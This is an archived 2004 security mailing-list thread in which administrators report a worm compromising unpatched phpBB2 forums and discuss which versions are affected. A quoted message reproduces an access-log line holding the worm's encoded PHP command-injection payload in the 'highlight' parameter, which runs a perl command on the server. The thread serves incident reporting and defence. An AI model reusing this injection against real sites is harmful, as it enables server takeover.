RE: Worm hitting PHPbb2 Forums

From: Mike (mike_sha_at_shaw.ca)
Date: 12/21/04

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    Date: Tue, 21 Dec 2004 13:28:27 -0500
To: <mark@onnow.net>, "L. Walker" <lwalker@magi.net.au>

    Does this affect PHPBB2 in general, or is it platform specific as well?

    Mike Fetherston

    > -----Original Message-----
    > From: mark@onnow.net [mailto:mark@onnow.net]
    > Sent: Tuesday, December 21, 2004 12:47 PM
    > To: L. Walker
    > Cc: incidents@securityfocus.com; full-disclosure@lists.netsys.com
    > Subject: Re: Worm hitting PHPbb2 Forums
    >
    > Front what I have read, this can happen in any phpbb version lower
    than
    > 2.0.11
    >
    > This exploit is becoming frequent. Normally uploading a ddos bot.
    >
    > Mark
    >
    > Quoting "L. Walker" <lwalker@magi.net.au>:
    >
    > > Just spotted two clients hit by this. One client didnt update his
    > > software (PHP 4.3.4, Apache 1.3.22) and was rootkitted by generation
    16.
    > > Chkrootkit says its Adore, however could be something else.
    Datacenter
    > > wasn't very smart and has since wiped the server, so no binaries or
    > other
    > > evidence.
    > >
    > > Generation 12 only wiped out PHP files, replacing them with its own
    > > message on other client's PHPbb2 forum. Access logs show:
    > >
    > > 66.220.28.92 - - [21/Dec/2004:18:07:17 +1100] "GET
    > >
    >
    /forum/viewtopic.php?p=1445&sid=d2260869a73fb5aca2aed0d8a88cf55a&highlig
    ht
    >
    =%2527%252Esystem(chr(112)%252echr(101)%252echr(114)%252echr(108)%252ech
    r(
    >
    32)%252echr(45)%252echr(101)%252echr(32)%252echr(34)%252echr(111)%252ech
    r(
    >
    112)%252echr(101)%252echr(110)%252echr(32)%252echr(79)%252echr(85)%252ec
    hr
    >
    (84)%252echr(44)%252echr(113)%252echr(40)%252echr(62)%252echr(109)%252ec
    hr
    >
    (49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102)%252
    ec
    >
    hr(41)%252echr(32)%252echr(97)%252echr(110)%252echr(100)%252echr(32)%252
    ec
    >
    hr(112)%252echr(114)%252echr(105)%252echr(110)%252echr(116)%252echr(32)%
    25
    >
    2echr(113)%252echr(40)%252echr(72)%252echr(89)%252echr(118)%252echr(57)%
    25
    >
    2echr(112)%252echr(111)%252echr(52)%252echr(122)%252echr(51)%252echr(106
    )%
    >
    252echr(106)%252echr(72)%252echr(87)%252echr(97)%252echr(110)%252echr(78
    )%
    > 252echr(41)%252echr(34))%252e%2527
    > > HTTP/1.0" 200 270
    > >
    >
    "http://www.noobforces.net/forum/viewtopic.php?p=1445&sid=d2260869a73fb5
    ac
    >
    a2aed0d8a88cf55a&highlight=%2527%252Esystem(chr(112)%252echr(101)%252ech
    r(
    >
    114)%252echr(108)%252echr(32)%252echr(45)%252echr(101)%252echr(32)%252ec
    hr
    >
    (34)%252echr(111)%252echr(112)%252echr(101)%252echr(110)%252echr(32)%252
    ec
    >
    hr(79)%252echr(85)%252echr(84)%252echr(44)%252echr(113)%252echr(40)%252e
    ch
    >
    r(62)%252echr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252
    ec
    >
    hr(111)%252echr(102)%252echr(41)%252echr(32)%252echr(97)%252echr(110)%25
    2e
    >
    chr(100)%252echr(32)%252echr(112)%252echr(114)%252echr(105)%252echr(110)
    %2
    >
    52echr(116)%252echr(32)%252echr(113)%252echr(40)%252echr(72)%252echr(89)
    %2
    >
    52echr(118)%252echr(57)%252echr(112)%252echr(111)%252echr(52)%252echr(12
    2)
    >
    %252echr(51)%252echr(106)%252echr(106)%252echr(72)%252echr(87)%252echr(9
    7)
    > %252echr(110)%252echr(78)%252echr(41)%252echr(34))%252e%2527"
    > > "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
    > >
    > > --
    > > L. Walker <lwalker at magi dot net dot au>
    > > Network Administrator / Consultant
    > > --
    > >
    >
    >
    >
    >
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